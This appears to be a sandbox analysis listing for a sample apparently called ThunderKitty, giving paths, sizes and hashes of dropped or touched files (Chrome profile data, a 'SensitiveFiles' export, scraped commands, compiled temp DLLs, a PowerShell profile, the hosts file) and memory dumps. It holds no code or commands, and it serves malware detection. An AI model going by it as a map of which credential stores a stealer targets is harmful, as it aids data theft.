4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
356B

MD5
f8ee7b93c676a2f5a9f9a066f5c3b957

SHA1
48a9b9a354fdad7fbdd995b5d343175b4dfc318f

SHA256
12c6c9df27292127891bc47217ae4498b5fd07e2b30bf4542ac205ef97ba7ed9

SHA512
62d05513ecb92bac5db24592348316900343ba29fd13419741f3f0228130baffd694172959df87e210dad167019e9cfd53b486b1493382a96ac9adb3027b252e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
8KB

MD5
6a71917db1a141ae631c14c030907850

SHA1
45e767735803717d9c04cb9ecf8a78e4a4d2ca18

SHA256
9adc5690731daf9188c9d26b1980b4d725c1ffccb56e3c1c7889f321685ec013

SHA512
e38c4d5987ed7ee158f2741b5d81825a57a028ba613c524858a800ae1c24871f054243f1dfeb18d16b600e13b3b80a097025772d2e67df7dacee03e429e2db67

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
8KB

MD5
db96e2e6e0905276dc3282d8fd199aba

SHA1
3e8723629e9ad267a4e20208750bc0b99ca623fa

SHA256
33b4421af40f088f835d6829ab3d544cfd6b6335da22e5b0487085a6658bd2fe

SHA512
28751f58366970638885325c333a37a367f6d0e54ed27f353c47f37c074f82fc68c60f9be5a6ea9afbe5932cce77554ee47a06b0771c3097a4c131efffd7dfbc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
e5e0b81a40ed20f2e5e835436cba5e43

SHA1
d76fdb5e173daf60f1a42bd266032340e373b319

SHA256
2a14ae0e869df3926f0f96560150857cc3edc5ca0c7fa1d193ddab267c7ae400

SHA512
13c61f3f7332d0037dc65c3e6c85ca2448d8437ae2df23582c2042400bbdd5af390d3d388676042e065c44494a23e82ae1c1c8fcbb527ec1831077a9acd038b5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
cd70a3cc708cd3b41a04210f3e244960

SHA1
0d2efe2ca6150e624d206b9e6103ad05fe9aa1f9

SHA256
184bbcd8354bab8721e825ea9dd6a45f64052af343dfb67abbd069e5d57c1944

SHA512
d5e6a48ba5ba087e52e15c005f60edf1b09d80889e7f7a2f6db41676e1c9445961266d5ece191cf8a8d98491e269645cbe784815877c425dcc25e1e04b9283d0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
41fff53b35411bf0e3e25250b852207b

SHA1
314797bddf1fe8b2890535404f04d86cdfd70ada

SHA256
9b99d39c8096568f5cd716dfeefd070e4c355bf27dd7126f06df18140fc23128

SHA512
f620c467b955e2e90049920e72b4641016bc9ac1081f185c45eb1a944ded121ed66f4ac0c0d4fa07bd1645ba427ccb586d31f63f43dd7cedd1da1c0c79241c73

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
021713dd011bdaf604827827e6c71837

SHA1
448016a5785b7d6cbd40176cfc82daf9679cf7f6

SHA256
e4f9794b6afbc98e4a0b6ab78dab72d222c77ef2ebf607215cc7dc204b5e8613

SHA512
c896e6d5c3ce341e2f1ae14d7cd288b667563f6b5e5d0a64182573b4fe46b6c0cd0bcb26e94eb53a3f76f180e30fcfaf0c56c7434daa636b8b529b980fef8b33

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
f054d97546b012bf5d07a05e5ec54a9d

SHA1
30f0db3e11510180fa7ea8af49399520a3af3d54

SHA256
8b0cb79c5ac2c909bb1e9fea6b4c243715b19031ba3ecb312b301e9efce41580

SHA512
64f7bde1caa32b15e1ed8a4d6be2fdbc61dbc6173183742ae8a2a7e1f2f05fcf0199e9235687bf6b2f7c91885d1fd101d17cf13ecf8fa4507f3dd9c9a536b0a3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
15KB

MD5
830a56fecaecc68c6fe302df96170b11

SHA1
13953e22ae176043958f26d1fe2d3e3e129aa586

SHA256
cc995625f520328207c5ea6d97557d783c28e40d55089e71af7740848fe8a2f8

SHA512
5154c3293985de697c28ccf9bd90b1a507b5991bc00c7b35751cf214367a4a6b4bcb8cec42bccdd2637724bde891c6745b7d55275ee878e315abc3f7289857ff

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
192KB

MD5
63105e5f929201db48b97e8af5b6f8ad

SHA1
f6a333763c72bdb00cfc13125bed18e7a21713fa

SHA256
9382c5f08c90334490bf60fc7e92986d93519d928b3cd2fc00f428833f896a24

SHA512
bb2acf339a6aabf259d09b661902d0f17f70d5bf0ec4bdae8920ac68b246c91d5954dc9c4f8487fb1a475187f70098062b212a5861198268e3448a99b5e63def

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
192KB

MD5
7d77b134111e47c42e1458b6207e6f0d

SHA1
ee88e9f1986238266b36f14efea5ecc79d7e665f

SHA256
42bf0274f9e2966028b8e831c1c82c0a631f1a7154275ee23c43d06313c8481c

SHA512
8c49f3c55a09c91263484f0b273b60a05f4bec211156eaf6f9af507d28ae43266f39894081cecb111c47d4b919e3a98c6fb25d1283db1f9033a9c90b3273b8ff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5e621802b71e3ece88354ee557e1ce88

SHA1
0a7bb0acee1ebc8281bd24ef0084076e03f93e1f

SHA256
80a94ab0d20a51881a420cf64826b30e621d94245304be8b35af5cac389bc587

SHA512
31038c0107f0111eef87385a6ec7ef56ec9833fd5ef85187e58c9b32917ba8b90fb7c1bb2efbf273f1ee3a03744ca61d3f4d6f25029b9715eca216be2d80ef01

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8894.tmp

Filesize
1KB

MD5
306bddedc2b997ac8751132285ea9c90

SHA1
6ce221d93d521c3b69a43fb4f27956db28ed34dc

SHA256
dcc7e8aa4f6627992f9f210a6a7b376ae3e91824ed00e7f9219d7d4ef0f2021d

SHA512
b3cccc3368b915e593219baca4e4f24782b94baca21c72f041a4c675df3090d528b596e2655c6e009ae5193155f929d968d28b7b7a1bbe094da12951b7f3454f

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES88A3.tmp

Filesize
1KB

MD5
0300365714a7fafa30d3e1a5a6907ea1

SHA1
643b5908ab31a4308da58eecff5b63a7322e397e

SHA256
4d9c3be392958eb57e7ea004a75596e4a2f05f91252e1e9741fa9bd91bc46913

SHA512
68ffa232c9e743dc22c033331a55364aa3c3b42aaf4f75b1190cbaecb6fcf440f1224bd97d2d45fe3e0999949c4226d76e46b23602f1b846b25c6c015e42d17b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ThunderKitty.zip

Filesize
651KB

MD5
309c5b12354832424540c353865819bb

SHA1
151050b406e20194fdd599662224606f595c039c

SHA256
aea86ff2406a943ad588aaba015fa91f61aacdd3ab3b39b6f35f3df960d96e3e

SHA512
e2a37c1c9cc816bc6031beb0e78b88d0683813311a5f9cc71e34a138cc10ccc379cab276cfa27b3375d63c72671ee49f3b81705b3ae894319de58306c03e54b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ThunderKitty\SensitiveFiles\ExportCompress.txt

Filesize
241KB

MD5
df8ba418600a2be57a603869572c7bdc

SHA1
3c1242094ba87a62de7d2414051ac8a6a57bb12c

SHA256
121408a7dea96772b5db08bc8688c01b520bb9ba26e2ae8448ec4b68c62530a6

SHA512
3d329dccfc61fc3cee518deb0d1a73c2cd109875eca14f1574c42a50b36aee539d8c9b075fae22fc4ae29c3818706628248f2a7cf039660c6286baa7368e0408

Download Submit
C:\Users\Admin\AppData\Local\Temp\ThunderKitty\SystemInfo\ThunderKitty-ScrapedCMDS.txt

Filesize
60KB

MD5
52007fd8696324a67d8452c6f3bf8f81

SHA1
b99ef512d25f8e13d702017562982a3758f5c4f8

SHA256
288925ead7983fd14a3e1937e76c933656289590816442f78ed1891fa4118c28

SHA512
dec0e1a5bbb657354a4fa7b922880177599045bafe680f0e288ce25d47e8da3f2e481152401704c91139defabffe47b2a661996e03d7ec746953c960108d0fa3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zm1i0n1t.r3f.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ejiiy4fb\ejiiy4fb.dll

Filesize
4KB

MD5
5b314e482a81411f975704bc362b8f5a

SHA1
9a365288bad280b4c788e70f333b96f72c2b672e

SHA256
95949183b69c480eb707ed22681657aecd059e3ba92f502e61e3b6b674af35d6

SHA512
6527bcf6f4554d88b79c430c4221429a38fc1c587ac2e695ed08a9e01fbfb7313b80c8fae66163e4f4a05374d5765335344fa3f472cb5e4ecd6806c815b27339

Download Submit
C:\Users\Admin\AppData\Local\Temp\uj0r5gua\uj0r5gua.dll

Filesize
4KB

MD5
11ba09917f0ba62beff8949715b771f1

SHA1
7f9c6746e4c38cdde5ed84d871f37796d9ceff30

SHA256
eb9b97264b0a20ba04e82081356fe463882cc1ab314b200aedc5951b7e4b327e

SHA512
66b58e18cb36d0b50cc68967b40eb95ce67d3f1f5b248934869255e72befd6b6ada5cc8d380735cc5bab6ec469d37f0ed8e49370a98e67199c23ce0d0e08f597

Download Submit
C:\Users\Admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

Filesize
2KB

MD5
9758656bbe8589c66bb241b052490c72

SHA1
b73da83fb3ae6b86c6365769a04de9845d5c602c

SHA256
e4bfe191530cc53138c4a265755539f8a115f7828faba79dfac91f3184b26351

SHA512
da9a8ecba8c2071e467f2d72fac524843fb0011c8486dd95e8b948b1c7f91bf02bcb80c20a01eddb6971b96db5ebde5f7c4c607e6b6d15e75d971ea104436e34

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
2KB

MD5
33963639fb0ee0d79107103504711c9e

SHA1
b5c525632b94582ac863c600bc613ab658fab61b

SHA256
c2d71376ebf448ca83881ffed011973822c8f755a563b1087214bf571692ad89

SHA512
b61a4f6b3a81aac3dd9a35d837232562c5d927647a639ef6eb728479f947d63f32889371f438b3bbf075ec9bbbe81cd0b06c4647d4329d74eaa4dc979ad6787d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ejiiy4fb\CSCE48DBC54A4945508D6BABFE66FA222.TMP

Filesize
652B

MD5
8e1db522e6d99d6f23e68e7019a83be2

SHA1
34df44e9e29f5ceddf1648d76af696901ba05402

SHA256
d938ceb1d6af22cfc294c6039c4d646d0c267f4ff214b03adeda859507581f26

SHA512
024c18a1b7b0af9787c6ce141e55261e14acb93fceedf393c3ac1aee2a570a1cba473520414024b7fae5f110de77fd28f14730e67276bafb8d0cbaaffd368d23

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ejiiy4fb\ejiiy4fb.cmdline

Filesize
369B

MD5
05f3da3259f39ec9e595962f6ae78b4a

SHA1
2d7045556a5891afb4e8474027b91c9c7d9d3e13

SHA256
6d671bc9dfd7b7b6d42bfbe98746e2a09628a2c2ddd8d6dfb3a9aa2cc909c15e

SHA512
c1adc612fb3be732047d46650f1a9d3f6a9e680525536574b40cc85a5e9d73f079f116b9ebca27b5e3fcedd81a5bebd73af1ee5f14864836d39f4853fe8b42ce

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uj0r5gua\CSCFE2255203BD740078DAFE5E797813139.TMP

Filesize
652B

MD5
dddccc03f15bfe20d26f062bdb2de94f

SHA1
bf74eb8cc2d9412fadeb49bdede8617b00d8ad1c

SHA256
b201e920892621c4ef028a74b7c21144ff4f21f217eb9a9b02c7f5e2cdfdd9b6

SHA512
4bf4774aad49d09faf19d451375272758a2e6c3ef84c7f4bef92e123a3038055ed84126bb2333b4dfa78b65a064d65c9c02deb86f4c1e818f9aaf638dd06dcc8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uj0r5gua\uj0r5gua.0.cs

Filesize
1KB

MD5
8a1e7edb2117ec5dde9a07016905923b

SHA1
0155dbeeb16333e2eaa767b0209750efee56f47f

SHA256
c379ac84c970f2055851b084c44575a5e4b5a70dc25f0acdd49aad306489b007

SHA512
4ff0601803a006c661c962fe158cd5e9f40031d6b4fd7c5a05969a52d812e1fcb0aab20916fcad6c61c6d44cc7cfdf1e4f344f22ced937a0cd757ad841d3ab21

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uj0r5gua\uj0r5gua.cmdline

Filesize
369B

MD5
8c193195e8b8717c6b18497d69b11d5c

SHA1
87cc0a064f638214c8a9c2951d870af44ccbdcad

SHA256
4025efe59eb03e84cbd2fe72832b8a2e3c8d5592f07954004e8833cf12e1213b

SHA512
d8aacbc6fa8b19aba439e464f38dfbf6e0c31f1fee9a4ae244e31c8811f5e1730cf144efcb5e9ed33c27d859a5d99a021c5ebb299bd19886e7f486cdfd01a3da

Download Submit
memory/1644-67-0x000002D4EB060000-0x000002D4EB068000-memory.dmp

Filesize
32KB

Download
memory/1656-137-0x00007FF7BD560000-0x00007FF7BD658000-memory.dmp

Filesize
992KB

Download
memory/1656-138-0x00007FF9DCF30000-0x00007FF9DCF64000-memory.dmp

Filesize
208KB

Download
memory/1656-139-0x00007FF9CE260000-0x00007FF9CE516000-memory.dmp

Filesize
2.7MB

Download
memory/1656-140-0x00007FF9CC840000-0x00007FF9CD8F0000-memory.dmp

Filesize
16.7MB

Download
memory/2364-75-0x000002572AF60000-0x000002572B706000-memory.dmp

Filesize
7.6MB

Download
memory/2364-128-0x00007FF9CDCB0000-0x00007FF9CE771000-memory.dmp

Filesize
10.8MB

Download
memory/2364-83-0x000002572AC00000-0x000002572AC2A000-memory.dmp

Filesize
168KB

Download
memory/2364-84-0x000002572AC00000-0x000002572AC24000-memory.dmp

Filesize
144KB

Download
memory/2364-64-0x000002572A310000-0x000002572A318000-memory.dmp

Filesize
32KB

Download
memory/2364-117-0x000002572AC00000-0x000002572AC12000-memory.dmp

Filesize
72KB

Download
memory/2364-26-0x00007FF9CDCB0000-0x00007FF9CE771000-memory.dmp

Filesize
10.8MB

Download
memory/2364-14-0x0000025728160000-0x0000025728182000-memory.dmp

Filesize
136KB

Download
memory/2364-118-0x000002572AAB0000-0x000002572AABA000-memory.dmp

Filesize
40KB

Download
memory/2364-7-0x00007FF9CDCB0000-0x00007FF9CE771000-memory.dmp

Filesize
10.8MB

Download
memory/2364-3-0x00007FF9CDCB3000-0x00007FF9CDCB5000-memory.dmp

Filesize
8KB

Download